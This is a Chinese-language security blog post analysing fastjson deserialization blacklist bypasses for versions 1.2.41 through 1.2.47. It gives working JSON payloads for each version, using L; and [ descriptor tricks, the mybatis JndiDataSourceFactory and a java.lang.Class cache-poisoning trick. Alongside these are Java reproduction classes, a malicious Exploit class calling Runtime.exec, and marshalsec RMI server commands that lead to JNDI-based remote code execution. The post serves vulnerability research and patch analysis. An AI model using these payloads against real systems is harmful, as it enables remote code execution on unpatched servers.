前言fastjson <=1.2.41
旧版本补丁更新分析payload代码审计 | 原理分析
利用至少一层 L; 描述符包裹类名绕过黑名单 代码复现利用缺点 fastjson <=1.2.42
旧版本补丁更新分析
黑名单分析 payload代码审计 | 原理分析
利用至少两层 L; 描述符包裹类名绕过黑名单 代码复现利用缺点 fastjson <=1.2.43
旧版本补丁更新分析payload代码审计 | 原理分析
类名前加 [ 描述符绕过黑名单完善语法 代码复现利用缺点 fastjson <=1.2.45
旧版本补丁更新分析payload代码审计 | 原理分析
mybatis3 <=3.4.6 setProperties()触发jndi注入
手动调用JndiDataSourceFactory.setProperties()示例代码 mybatis未被列入黑名单可以利用 代码复现利用缺点 fastjson <= 1.2.47 通杀
旧版本补丁更新分析payload代码审计 | 通杀原理分析
@type是Class类时会加载val对应的类并写入缓存关闭autoTypeSupport加载类会先去缓存Map中查找 代码复现利用优点 参考完
前言在1.2.24爆出后官方进行了多次修复,然而修复后仍然不断有漏洞爆出
fastjson <=1.2.41 旧版本补丁更新分析运行一下1.2.24的payload,ParserConfig.checkAutoType方法提示autoType不支持
在DefaultJSONParser.parseObject新调用了checkAutoType
checkAutoType加入了两个判断:
autoTypeSupport配置用于判定是否开启任意类反序列化acceptList和denyList黑白名单用于检查该类是否能被反序列化
默认黑名单包括以下类/开头的类:
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
首先,第一次判断,如果开启了autoTypeSupport:先判断在白名单内就进行类加载、在黑名单内就报错
第二次判断,如果没有开启autoTypeSupport:先判断在黑名单内就报错、白名单内就进行类加载
第三次判断,如果开启了autoTypeSupport而且类不在黑白名单内的,再加载
往后看,类加载调用的是fastjson的loadClass,这里对带有描述符的类有特殊的处理:
以[开头的数组类,把[去除再加载,例如[B以L;包裹的引用类,把前后去除再加载,例如Ljava.Object.String;
payloadldap同理
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://127.0.0.1/hacked",
"autoCommit":true
}
由于TemplatesImpl还需要开启Feature.SupportNonPublicField,不做分析
代码审计 | 原理分析 利用至少一层 L; 描述符包裹类名绕过黑名单JdbcRowSet属于com.sun,被黑名单禁用了,并且我们无法得知白名单的内容默认白名单为空,关键点就在本次更新的autoTypeSupport和黑白名单验证机制。
前两次验证肯定进不去,只能寄希望在第三次验证上面,要保证autoTypeSupport开启否则就进入第二次验证抛出错误了。如果开启了autoTypeSupport就还要保证第一轮判断能通过,要构建一个不存在于黑名单上的类。
更新的loadClass在处理描述符类的时候,对数组、引用类并没有判断这个类究竟是否真的存在,只是通过字符串比较就直接截取loadClass了
那么只要把类用L;包裹就能绕过第一轮黑名单判断、并且在loadClass的时候还会帮我们去除L;完成加载,就完成了绕过。
而且和这里是递归调用,因此理论上可以套很多层L;
编译Exploit类放到服务器上
import java.lang.Runtime;
public class Exploit{
static {
try {
System.out.println("rce");
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java python -m http.server 80
开启marshalsec的rmi服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099
运行复现代码:
package fastjson.Ver2u25to41;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "Lcom.sun.rowset.JdbcRowSetImpl;";
String rmiURL = "rmi://127.0.0.1/hacked";
// String ldapURL = "ldap://127.0.0.1:389/hacked";
String payload1 = "{"@type":""+ typeName +"", "dataSourceName":"" + rmiURL +"", "autoCommit":true}n";
// String payload2 = "{"@type":""+ typeName +"", "dataSourceName":"" + ldapURL +"", "autoCommit":true}n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload1);
// JSON.parseObject(payload2);
}
}
利用缺点
反序列化必须开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parse(str);fastjson <=1.2.42 旧版本补丁更新分析
运行1.2.41的payload,看来又修改了过滤原则
其中,黑名单为了防止被识别,换成了hash字符串
这里放一下其他师傅破解的黑名单
LeadroyaL/fastjson-blacklist
另外判断前进行了字符去除
先用debug看看checkAutoType新增的过滤:发现这里通过运算先过滤了一次L;
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1/hacked",
"autoCommit":true
}
代码审计 | 原理分析
利用至少两层 L; 描述符包裹类名绕过黑名单
既然过滤了一次L;,那就双写绕过,后续loadClass是递归调用,那么用至少两层包裹都能绕过。
代码复现package fastjson.Ver2u42;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "LLcom.sun.rowset.JdbcRowSetImpl;;";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{"@type":""+ typeName +"", "dataSourceName":"" + rmiURL +"", "autoCommit":true}n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload);
}
}
利用缺点
反序列化必须开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parse(str);fastjson <=1.2.43 旧版本补丁更新分析
运行1.2.42的payload,又被ban了
修改了对L;的判断,这里修改为如果类名首尾以L;包裹、并且两个LL开头就报错
看来官方是把这条路完全封死了
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1/hacked",
"autoCommit":true
}
代码审计 | 原理分析
类名前加 [ 描述符绕过黑名单
既然多个L;无法绕过,还有数组形式[的绕过
尝试只插入一个[,在解析的时候语义解析出错了,提示逗号前面缺一个[
根据语义提示补全,在逗号前面加一个[,又提示44处缺一个{,位置在dataSourceName属性的左双引号前面
package fastjson.Ver2u43;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "[com.sun.rowset.JdbcRowSetImpl";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{"@type":""+ typeName +""[, {"dataSourceName":"" + rmiURL +"", "autoCommit":true}n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}
利用缺点
依旧需要开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parse(str);fastjson <=1.2.45 旧版本补丁更新分析
1.2.44彻底把上述两种绕过ban了,只要[开头全ban了
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://127.0.0.1/hacked"
}
}
代码审计 | 原理分析
mybatis3 <=3.4.6 setProperties()触发jndi注入
手动调用JndiDataSourceFactory.setProperties()示例代码
package fastjson.Ver2u45;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
import java.util.Properties;
public class MybatisTest {
public static void main(String[] args) throws Exception {
JndiDataSourceFactory factory = new JndiDataSourceFactory();
Properties properties = new Properties();
properties.setProperty("data_source", "rmi://127.0.0.1/hacked");
factory.setProperties(properties);
}
}
mybatis未被列入黑名单可以利用
恰好这个方法是setter方法,能被fastjson调用,而且参考黑名单发现这个类没有被ban,就用这个类完成jndi注入
代码复现package fastjson.Ver2u45;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{"@type":""+ typeName +"", "properties":{"data_source":""+ rmiURL +""}}n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(payload);
}
}
利用缺点
需要mybatis3 <=3.4.6依旧需要开启autoTypeSupport fastjson <= 1.2.47 通杀 旧版本补丁更新分析
mybatis在1.2.46也被ban了,因此上面的方法都不行了
1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意
{
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1/hacked",
"autoCommit": true
}
}
代码审计 | 通杀原理分析
@type是Class类时会加载val对应的类并写入缓存
关闭了autoTypeSupport肯定进不去白名单查找,又由于Mapping为空就进入findClass开启了autoTypeSupport在白名单也找不到Class类(默认白名单为空),也会最终进入findClass
IdentifyHashMap存了很多基础类,匹配到直接返回
然后checkAutoType也就返回了
checkAutoType返回后DefaultJSONParser继续运行,来到deserialize继续进行解析
进入了MiscCodec.deserialize,这里从val参数获取了值
传给了strVal
往下走,如果@type是Class类,那么就会调用TypeUtils.loadClass加载val参数对应的类
默认缓存开启,首先去缓存中查找,首次加载肯定找不到,就来到之后else,在里面完成了类加载并且写入了缓存
因此我们可以首先把JdbcRowSetImpl加载到缓存中,这样根本不会经过黑名单验证
如果缓存Map有JdbcRowSetImpl类,那么checkAutoType就会直接返回
因此首先加载Class、再加载JdbcRowSetImpl就完成了绕过,这里就采用了两层JSON嵌套
autoTypeSupport可开可不开
package fastjson.Ver2u47;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Payload {
public static void main(String[] args) throws Exception {
String typeName = "com.sun.rowset.JdbcRowSetImpl";
String className = "java.lang.Class";
String rmiURL = "rmi://127.0.0.1/hacked";
String payload = "{{"@type": ""+ className +"", "val": ""+ typeName +""}, {"@type": ""+ typeName +"", "dataSourceName": "" + rmiURL +"", "autoCommit": true}}n";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.out.println(payload);
JSON.parseObject(payload);
}
}
利用优点
通杀,无视autoTypeSupport,默认autoTypeSupport是关闭的
参考1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意
完https://www.freebuf.com/vuls/276812.html
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123364720
版权声明:本文为原创,转载时须注明出处及本声明



